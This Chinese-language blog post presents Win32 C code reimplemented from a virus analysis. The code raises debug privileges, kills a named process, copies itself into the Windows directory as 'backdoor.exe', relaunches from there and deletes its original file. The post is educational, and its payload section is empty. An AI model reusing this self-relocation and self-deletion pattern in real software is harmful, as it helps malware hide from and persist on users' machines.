原创

自删除的代码

本文字数:

3629

,大约阅读2分钟

很早之前写的代码(和对应的文章),也不知道还能不能正常运行了,并没有在现在的 Win10 下进行测试。以下代码都是 Win32 PSDK 的东西非常的简单,代码来自另外的一篇文章,就是一篇关于病毒分析的文章。

简单病毒样本分析

根据这篇病毒分析的文章有了下面的代码。虽然我们没有病毒的源代码,但是我们通过反汇编进行了分析,分析完理解了,那么写出等价代码是可以的。

一、直接上代码吧

下面首先写了几个自定义函数,这些函数都是比较常用的函数,比如调整进程的权限、获取指定进程的 PID、结束指定的进程。这些功能是有套路的,只要了解了相关的 API 就可以完成。代码如下:

// 调整权限
VOID DebugPrivilege()
{
    HANDLE hToken = NULL;

    BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

    if (bRet == TRUE)
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
       LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;
       AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

        CloseHandle(hToken);
    }
}


// 获得某进程的 PID
DWORD GetProcessId(char *szProcessName)
{
    DWORD dwPid = 0;
    BOOL bRet = 0;
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize =sizeof(PROCESSENTRY32);

    HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    bRet = Process32First(hSnap,&pe32);


    while (bRet)
    {
        if (strcmp(pe32.szExeFile, szProcessName) == 0)
        {
            break;
        }
        bRet =Process32Next(hSnap, &pe32);
    }


    dwPid =pe32.th32ProcessID;
    return dwPid;
}


// 结束某进程
VOID CloseProcess(DWORD dwPid)
{
    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    TerminateProcess(hProcess,0);
    CloseHandle(hProcess);
}

这几个函数完成后,我们就来根据病毒的流程来完成病毒的主体代码,代码如下:

int main(int argc, char **argv)
{
    // Windows目录
    char szWinDir[MAX_PATH] ={ 0 };
    // 当前目录
    char szCurrDir[MAX_PATH] ={ 0 };

    GetWindowsDirectory(szWinDir, MAX_PATH);
    GetModuleFileName(NULL,szCurrDir, MAX_PATH);

    // 获取当前的目录
    int ch = '\\';
    char *pFileName =strrchr(szCurrDir, ch);
    int nLen =strlen(szCurrDir) - strlen(pFileName);
    szCurrDir[nLen] = NULL;


    if (strcmp(szWinDir,szCurrDir) == 0)
    {
        // 相同目录
        // 判断参数个数
        // 根据参数个数判断是否需要删除原病毒文件
        // 如果病毒是开机自动启动的话,不会带有参数
        printf("argc = %d\r\n", argc);
        if (argc == 2)
        {
            ch = '\\';
            pFileName =strrchr(argv[1], ch);
            pFileName ++;
           printf("pFileName = %s \r\n", pFileName);
            DWORD dwPid =GetProcessId(pFileName);
            printf("dwPid= %d \r\n", dwPid);
            DebugPrivilege();
           CloseProcess(dwPid);
            pFileName =argv[1];
           printf("pFileName = %s \r\n", pFileName);
            Sleep(3000);
           DeleteFile(pFileName);
        }
        else
        {
            // 病毒的功能代码
        }
    }
    else
    {
        // 不同目录,说明是第一次运行

        // 复制自身到windows目录里下
        strcat(szWinDir,"\\backdoor.exe");
        GetModuleFileName(NULL, szCurrDir, MAX_PATH);
        CopyFile(szCurrDir,szWinDir, FALSE);

        // 构造要运行windows目录下的病毒
        // 以及要传递的自身位置
        strcat(szWinDir," \"");
        strcat(szWinDir,szCurrDir);
        strcat(szWinDir,"\"");
        printf("%s\r\n", szWinDir);
        WinExec(szWinDir, SW_SHOW);
        Sleep(1000);
    }


    // getch()模拟病毒的动作
    // 保持病毒进程不退出
    getch();
    return 0;
}

二、结尾

整个代码没有任何破坏性,只是复制到系统盘中,然后启动系统盘的文件,将复制前的那个文件删除掉。对于常见的这些应用层下的病毒大体都是会用到上面提到的 API 函数。掌握这些知识并不能进行作恶,因为这只是刚刚开始,连门都没有进入。

信息安全
Win32/64
安全工具开发
黑客工具开发
  • 作者:Netor0x86(联系作者)
  • 发表时间:2020-04-07 00:04
  • 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)
  • 公众号转载:请在文末添加作者公众号二维码
  • 评论